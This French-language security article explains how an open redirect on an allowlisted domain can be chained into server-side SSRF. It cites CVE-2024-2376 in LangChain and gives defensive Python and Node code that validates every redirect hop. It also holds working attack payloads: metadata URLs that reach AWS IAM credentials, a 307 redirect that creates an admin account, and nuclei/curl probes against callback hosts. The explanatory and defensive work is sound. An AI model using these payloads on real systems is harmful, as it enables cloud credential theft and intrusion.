Chaîne open redirect vers SSRF (CWE-601) : le serveur suit la redirection vers des services internes, transformant un redirect côté client en SSRF côté serveur.
TL;DR
http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDSv1)La chaîne redirection ouverte vers SSRF exploite une lacune dans la façon dont la plupart des défenses SSRF sont implémentées. Les allowlists SSRF valident l'URL que l'application est invitée à récupérer — si l'URL correspond à un domaine de confiance, la requête est autorisée. La faille est que les allowlists SSRF valident rarement l'endpoint de destination après le suivi des redirections HTTP. Une redirection ouverte sur un domaine de confiance convertit le client HTTP du serveur en proxy pour atteindre des endpoints internes.
C'est une classe de vulnérabilité composée — CWE-601 (Redirection Ouverte) chaîné avec CWE-918 (SSRF). La redirection ouverte initiale peut avoir CVSS 6.1 ; quand la chaîne atteint des identifiants de métadonnées cloud (comme dans CVE-2024-2376, LangChain), la gravité combinée atteint CVSS 8.6.
L'attaque est particulièrement efficace contre : les frameworks AI/ML (LangChain, LlamaIndex, AutoGPT) qui récupèrent des documents externes ; les systèmes de livraison de webhooks ; les proxies d'images ; les générateurs PDF récupérant du contenu distant ; et toute fonctionnalité "importer depuis URL".
import requests
# VULNÉRABLE — requests suit les redirections par défaut
# Payload attaquant : domaine de confiance avec redirection ouverte vers IMDS
attacker_url = "https://domaine-autorisé.com/redirect?next=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Code côté serveur avec allowlist SSRF — vérifie seulement l'URL initiale
def fetch_document(url: str) -> str:
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.hostname not in SSRF_ALLOWLIST:
raise ValueError("Domaine non dans l'allowlist")
# La vérification de l'allowlist passe (domaine-autorisé.com est autorisé)
response = requests.get(url, timeout=5) # Suit la redirection vers 169.254.169.254
return response.text # Retourne les identifiants IAM| Variante | Endpoint Cible | Condition Requise |
|---|---|---|
| AWS IMDS v1 | http://169.254.169.254/latest/meta-data/iam/ | EC2 sans enforcement IMDSv2 |
| AWS IMDS v2 | Nécessite PUT pour token — limite les redirects GET standard | Redirection 307 ou EC2 IMDSv2 désactivé |
| GCP metadata | http://metadata.google.internal/computeMetadata/v1/ | Headers personnalisés requis |
| Azure IMDS | http://169.254.169.254/metadata/identity/oauth2/token | Headers personnalisés requis |
| API Kubernetes | https://kubernetes.default.svc/api/v1/secrets | Token de compte de service pod |
| Services internes | http://localhost:8500 (Consul), http://localhost:9200 (Elasticsearch) | Accès réseau interne direct |
Les redirections 302 standard convertissent POST en GET. Une redirection 307 préserve la méthode HTTP. Si le serveur vulnérable récupère des URLs via POST (livraison webhook, appels API), une redirection 307 depuis le domaine de confiance porte la méthode POST et le corps vers l'endpoint interne :
# L'attaquant contrôle domaine-autorisé.com — sert cette réponse :
HTTP/1.1 307 Temporary Redirect
Location: http://api-interne.company.local/admin/create-user
# La requête POST du serveur est relayée avec le corps intact :
POST /admin/create-user HTTP/1.1
Host: api-interne.company.local
Content-Type: application/json
{"username": "attacker", "role": "admin"}CVE-2024-2376 — LangChain (CVSS 8.6)
Les utilitaires de chargement de documents de LangChain suivaient les redirections HTTP sans validation de destination post-redirection. Une allowlist SSRF sur un domaine de confiance pouvait être contournée en pointant vers la redirection ouverte de ce domaine. Sur les déploiements AWS, cela atteignait http://169.254.169.254/latest/meta-data/iam/security-credentials/, obtenant des identifiants de rôle IAM avec les permissions du profil d'instance EC2. CVSS 8.6 car l'exfiltration des identifiants cloud permet le mouvement latéral.
Accès Elasticsearch Interne via Redirection Ouverte (Reports Multiples HackerOne)
Nombreux reports HackerOne documentent le pattern : URL webhook accepte domaine-de-confiance.com, domaine-de-confiance.com a un paramètre ?redirect=, le serveur suit la redirection vers http://elasticsearch:9200/_cat/indices. Bounties dans la fourchette 2 000-8 000 $ selon les données exposées. Elasticsearch sur le port 9200 retourne les données du cluster sans authentification dans les configurations par défaut.
AWS IMDSv1 répond à toute requête GET depuis le réseau EC2 sans authentification. Si votre application récupère des URLs fournies par l'utilisateur et suit les redirections sans validation post-redirection, supposez que toute redirection ouverte sur n'importe quel domaine autorisé se convertit en vol d'identifiants IAM AWS. Appliquez IMDSv2 (token PUT requis) au niveau de l'instance EC2 ET validez les destinations d'URL après redirection.
domaine-autorisé.com/redirect?next=http://169.254.169.254/latest/meta-data/. Soumettre au récupérateur URL.domaine-autorisé.com/redirect?next=https://votre-collab.oast.fun. Un callback DNS/HTTP confirme que la chaîne SSRF s'exécute.# Étape 1 : Cartographier l'allowlist SSRF
nuclei -u https://target.com/api/fetch?url=https://canary.oast.fun \
-t ssrf/ --interactsh-url https://canary.oast.fun
# Étape 2 : Tester les domaines autorisés pour la redirection ouverte
nuclei -u "https://domaine-autorisé.com" -t fuzzing/redirect-params.yaml
# Étape 3 : Chaîner la redirection
curl -v "https://target.com/api/fetch?url=https://domaine-autorisé.com/redirect?next=https://second-canary.oast.fun"import ipaddress
import requests
from urllib.parse import urlparse
BLOCKED_RANGES = [
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # IMDS
ipaddress.ip_network("127.0.0.0/8"),
]
def is_private_ip(hostname: str) -> bool:
try:
addr = ipaddress.ip_address(hostname)
return any(addr in net for net in BLOCKED_RANGES)
except ValueError:
import socket
resolved = socket.gethostbyname(hostname)
return is_private_ip(resolved)
def safe_fetch(url: str) -> requests.Response:
"""Récupère l'URL avec protection SSRF — valide chaque saut de redirection."""
session = requests.Session()
session.max_redirects = 0
current_url = url
for hop in range(10):
parsed = urlparse(current_url)
if is_private_ip(parsed.hostname or ""):
raise ValueError(f"SSRF bloqué : redirection vers IP privée au saut {hop}")
if parsed.hostname not in SSRF_ALLOWLIST and hop == 0:
raise ValueError("Domaine non dans l'allowlist SSRF")
resp = session.get(current_url, allow_redirects=False, timeout=5)
if resp.status_code in (301, 302, 303, 307, 308):
next_url = resp.headers.get("Location", "")
if not next_url:
break
current_url = next_url # Valider à la prochaine itération
else:
return resp
raise ValueError("Trop de redirections")// Node.js — suivi manuel de redirection avec validation
const { URL } = require("url");
const dns = require("dns").promises;
const PRIVATE_RANGES = [
/^10\./,
/^172\.(1[6-9]|2\d|3[01])\./,
/^192\.168\./,
/^169\.254\./, // IMDS
/^127\./,
];
async function isPrivate(hostname) {
try {
const { address } = await dns.lookup(hostname);
return PRIVATE_RANGES.some((re) => re.test(address));
} catch {
return true; // Échec DNS — traiter comme privé
}
}
async function safeFetch(url, hops = 0) {
if (hops > 10) throw new Error("Trop de redirections");
const parsed = new URL(url);
if (await isPrivate(parsed.hostname)) {
throw new Error(`SSRF bloqué : ${parsed.hostname} est privé`);
}
const res = await fetch(url, { redirect: "manual" });
if (res.status >= 300 && res.status < 400) {
const location = res.headers.get("location");
return safeFetch(location, hops + 1);
}
return res;
}# Correction la plus simple — désactiver les redirections, rejeter toute réponse qui redirige
import requests
def fetch_no_redirect(url: str) -> str:
resp = requests.get(url, allow_redirects=False, timeout=5)
if resp.is_redirect:
raise ValueError("Redirections non autorisées pour cette opération")
return resp.textLes défenses SSRF (allowlists) autorisent des domaines de confiance spécifiques mais n'empêchent pas ces domaines de rediriger vers des endpoints internes. Si le serveur récupère une URL d'un domaine de confiance, et que ce domaine a une redirection ouverte, le serveur suit la redirection vers n'importe quelle destination — y compris les services internes, l'IMDS cloud, ou localhost. L'attaquant fournit : https://trusted-autorisé.com/redirect?next=http://169.254.169.254/latest/meta-data/. Le filtre SSRF voit trusted-autorisé.com (autorisé) ; la récupération atteint 169.254.169.254 (interne).
CVE-2024-2376 (CVSS 8.6) dans LangChain Python affectait les utilitaires WebBaseLoader et de chargement de documents. Ceux-ci suivaient les redirections HTTP sans valider la destination finale. Un attaquant configurait un domaine de confiance dans l'allowlist du chargeur ayant une redirection ouverte ; le chargeur suivait la redirection vers http://169.254.169.254/latest/meta-data/iam/security-credentials/ sur AWS, obtenant des identifiants IAM. Corrigé en validant la destination après suivi de toutes les redirections.
AWS IMDS : http://169.254.169.254/latest/meta-data/iam/security-credentials/ (IMDSv1, pas d'auth requise) et http://169.254.169.254/latest/api/token (IMDSv2, nécessite PUT). GCP : http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (nécessite header Metadata-Flavor: Google). Azure : http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01 (nécessite header Metadata: true). IMDSv1 (AWS) n'a pas d'authentification supplémentaire — une seule requête GET suffit pour obtenir des identifiants.
IMDSv2 requiert une requête PUT vers /latest/api/token avec TTL, puis utilise le token retourné dans les requêtes GET suivantes. Le SSRF via redirection ouverte utilise typiquement des requêtes GET (suivant les redirections HTTP). IMDSv2 bloque la plupart des attaques SSRF-via-redirect sur AWS car le suivi de redirection est un GET, pas un PUT. Cependant : certains clients HTTP peuvent être contraints d'émettre PUT via redirection 307 ; IMDSv2 est encore optionnel sur les anciennes instances EC2.
SSRF direct : l'attaquant contrôle directement l'URL que le serveur récupère. SSRF via redirection ouverte : indirect — le serveur récupère une URL de confiance qui redirige vers une URL interne. Le filtre SSRF passe (URL de confiance) ; la redirection est suivie (pas de validation post-redirection). La différence clé : le SSRF via redirection contourne les défenses SSRF basées sur l'allowlist si elles ne valident que l'URL initiale.
Tout récupérateur d'URL côté serveur suivant les redirections HTTP : bibliothèques HTTP client (requests.get() avec allow_redirects=True par défaut en Python, fetch() en Node.js suit les redirections par défaut), systèmes de livraison de webhooks, générateurs PDF récupérant du contenu distant, proxies d'images, chargeurs de documents (LangChain, LlamaIndex), générateurs d'aperçu d'URL, vérificateurs de liens, outils d'import de contenu.
HTTP 307 (Temporary Redirect) préserve la méthode de requête et le corps — un POST vers une destination de redirection 307 devient un POST vers la cible de redirection. Si un récupérateur côté serveur envoie un POST (livraison webhook, appels API) et suit une redirection 307, le corps POST est rejoué vers l'endpoint interne. Une redirection ouverte standard via 302 ne fonctionne que pour les requêtes GET. Un serveur avec une capacité de redirection 307 peut donc escalader un SSRF GET-only vers un accès API POST.
Le DNS rebinding est une technique alternative pour atteindre le même résultat. Un attaquant contrôle un domaine avec un enregistrement DNS à TTL court qui résout d'abord vers une IP publique (passant la vérification initiale de l'allowlist) puis vers une IP interne. Le SSRF via redirection ouverte est plus simple : ne requiert pas le contrôle DNS et fonctionne contre tout serveur qui suit les redirections sans validation post-redirection.
Python requests : set allow_redirects=False et implémenter le suivi de redirection avec validation de destination. Node.js fetch : utiliser redirect: 'manual', vérifier response.status === 302, valider le header Location avant de suivre. Go http.Client : définir CheckRedirect comme fonction validant la cible de redirection. Le pattern : ne jamais suivre les redirections automatiquement — les suivre manuellement avec validation à chaque saut.